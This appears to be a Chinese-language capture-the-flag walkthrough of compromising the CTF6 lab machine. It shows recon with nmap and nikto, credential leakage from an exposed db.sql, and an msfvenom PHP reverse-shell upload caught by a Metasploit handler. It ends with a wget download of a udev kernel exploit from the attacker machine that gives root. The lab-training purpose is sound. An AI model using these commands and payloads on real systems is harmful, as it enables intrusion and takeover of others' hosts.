滲透測試,思路很重要!
實驗過程
- 信息收集
- 漏洞挖掘
- 權限提升
環境準備
VMware Workstation Pro 14
Kali-Linux-2019.2-vmware-amd64
CTF6
1、信息收集
1.1 主機發現
攻擊機kali和靶機CTF6使用NAT網卡,kali中使用命令-netdiscover
root@kali:~# netdiscover -r 10.10.10.132 //IP地址是10.10.10.132是kali地址
推測,CTF6靶機的IP地址是10.10.10.134
1.2 端口掃描
在攻擊機kali中使用工具-nmap
root@kali:~# nmap -sS -sV -A -v 10.10.10.134
補充工具-nmap
的參數說明
-sS 利用SYN TCP掃描
-sV 探測開放
-A 詳細地對目標IP地址進行掃描
-v 顯示掃描過程
1.3 威脅建模
開放了以下的端口服務
22 SSH
80 HTTP
110 POP3
111 rpcbind
443 HTTPS
3306 MySQL
使用谷歌瀏覽器訪問靶機IP地址,利用插件WappalyZer獲取信息。
2、漏洞挖掘
2.1工具-nikto
使用
Nikto用來檢查網頁服務器和其他多個範疇內的項目:
錯誤的配置 \默認文件和腳本\不安全的文件和腳本\過時軟件
Nikto是一個用來發現默認網頁文件、檢查網頁服務器和CGI安全問題的工具。它對遠程主機使用大量請求,這些過量的請求可能會導致遠程主機宕機。Nikto可能會損害主機、遠程主機和網絡。某些選項可能對目標產生超過70,000個HTTP請求。 同樣從網站更新的插件也不能保證絕對系統無害,選擇權在用戶手中。
root@kali:~# nikto -h http://10.10.10.134
掃描發現了重要的路徑/sql/和/docs/
,使用谷歌瀏覽器分別打開進行查找。
進入這個目錄,發現db.sql
,點擊進入。
發現user_username,user_password
。
在/docs/
發現源代碼,進行下載查看,代碼審計。
在default.php
中,發現SQL注入代碼,對用戶輸入的id沒有設置過濾或者驗證,可能存在注入點,可以嘗試一下。
在config.ini
找到了數據庫的賬號和密碼,意思是“拿站”?
爲所欲爲????
前面已經拿到了user_username=admin user_password=adminpass
那麼登陸一下
當然,這裏你也可以使用sqlmap
去爆破數據庫拿到賬號和密碼。雙重驗證!!!
登陸進來了,
注意:部分瀏覽器可能登陸後沒有返回現象,更換瀏覽器,我這裏使用的是谷歌瀏覽器!!
2.2 文件上傳漏洞利用
3.3 權限提升
3.1MSF反彈shell
metasploit中payload的reverse_tcp和bind_tcp這兩種情況,可以參考下面這篇文章:點擊這裏傳送查看區別
root@kali:~# msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.10.132 LPOST=4444 -o shell.php
看見Saved as:shell.php
將它上傳到CTF6,即上傳shell
3.2啓動MSF
root@kali:~# msfconsole
進行參數設置
msf5 exploit(multi/handler) > set payload php/meterpreter_reverse_tcp
payload => php/meterpreter_reverse_tcp
msf5 exploit(multi/handler) > set LHOST 10.10.10.132
LHOST => 10.10.10.132
msf5 exploit(multi/handler) > exploit
反彈回來的shell
權限很低,我們進行查看版本信息
meterpreter > sysinfo
Computer : 10.10.10.134
OS : Linux 10.10.10.134 2.6.18-92.el5 #1 SMP Tue Jun 10 18:49:47 EDT 2008 i686
Meterpreter : php/linux
查看版本知道此CTF6的版本是Linux 2.6,進行Google Hacking。
通過信息蒐集,知道Linux2.6存在udev
提權。
進行交互式shell
meterpreter > shell
Process 19539 created.
Channel 1 created.
whoami
apache
python -c 'import pty;pty.spawn("/bin/bash")'
bash-3.2$
查找exp
root@kali:~# searchsploit linux udev
--------------------------------------- ----------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
--------------------------------------- ----------------------------------------
Linux Kernel 2.6 (Debian 4.0 / Ubuntu | exploits/linux/local/8478.sh
Linux Kernel 2.6 (Gentoo / Ubuntu 8.10 | exploits/linux/local/8572.c
Linux Kernel 4.8.0 UDEV < 232 - Local | exploits/linux/local/41886.c
Linux Kernel UDEV < 1.4.1 - 'Netlink' | exploits/linux/local/21848.rb
--------------------------------------- ----------------------------------------
Shellcodes: No Result
將攻擊代碼複製到/tmp
文件夾下面,進去文件夾
root@kali:~# cp /usr/share/exploitdb/exploits/linux/local/8478.sh /tmp
root@kali:~# cd /tmp/
root@kali:/tmp# ls
8478.sh
sqlmapE_BZl13390
ssh-9lsudsG3z6SR
systemd-private-b3cd4c19912745cab1af7c36f236e1a4-colord.service-C9jFAt
systemd-private-b3cd4c19912745cab1af7c36f236e1a4-haveged.service-VUY3H0
systemd-private-b3cd4c19912745cab1af7c36f236e1a4-ModemManager.service-ukBr9A
systemd-private-b3cd4c19912745cab1af7c36f236e1a4-upower.service-v1ARKc
Temp-769d6833-06af-4572-8b77-65cdbcd42305
tracker-extract-files.0
VMwareDnD
vmware-root_374-557881137
將tmp文件夾設置爲共享目錄
root@kali:/tmp# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
交互式shell中下載exp
bash-3.2$ wget http://10.10.10.132/8478.sh // 10.10.10.132是攻擊機kali的IP地址
3.3 添加權限
此時,文件權限不高,進一步添加權限
bash-3.2$ ls -la 8478.sh
ls -la 8478.sh
-rw-r--r-- 1 apache apache 3498 Feb 28 2020 8478.sh
bash-3.2$ dos2unix 8478.sh
dos2unix 8478.sh
dos2unix: converting file 8478.sh to UNIX format ...
bash-3.2$ chmod +x 8478.sh
chmod +x 8478.sh
bash-3.2$ ls -la 8478.sh
ls -la 8478.sh
-rwxr-xr-x 1 apache apache 3366 Feb 27 16:11 8478.sh
添加權限完成,攻擊
查看進程號,腳本+進程號
bash-3.2$ cat /proc/net/netlink
cat /proc/net/netlink
sk Eth Pid Groups Rmem Wmem Dump Locks
cfebce00 0 0 00000000 0 0 00000000 2
c1301a00 0 2984 00000111 0 0 00000000 2
cfc3aa00 6 0 00000000 0 0 00000000 2
cfe74600 7 0 00000000 0 0 00000000 2
cfe60e00 9 0 00000000 0 0 00000000 2
c1309a00 9 2305 00000000 0 0 00000000 2
cf568c00 10 0 00000000 0 0 00000000 2
cfbe4c00 11 0 00000000 0 0 00000000 2
cfc3a400 15 568 ffffffff 0 0 00000000 2
cfebcc00 15 0 00000000 0 0 00000000 2
cfbe4a00 16 0 00000000 0 0 00000000 2
cfd1aa00 18 0 00000000 0 0 00000000 2
利用特殊的進程號進行攻擊,提權到root
sh-3.2$ ./8478.sh 568
./8478.sh 568
sh-3.2# whoami
whoami
root
sh-3.2#
完成對CTF 6靶場滲透攻擊。
思路總結
信息蒐集,端口掃描,威脅建模
使用nikto工具進行掃描,得到敏感的目錄
審計代碼,得到數據庫賬號和密碼
敏感目錄下,拿到登陸數據庫賬號
使用msf生成php反向shell,通過文件上傳執行shell
尋找Linux內核exp,提權root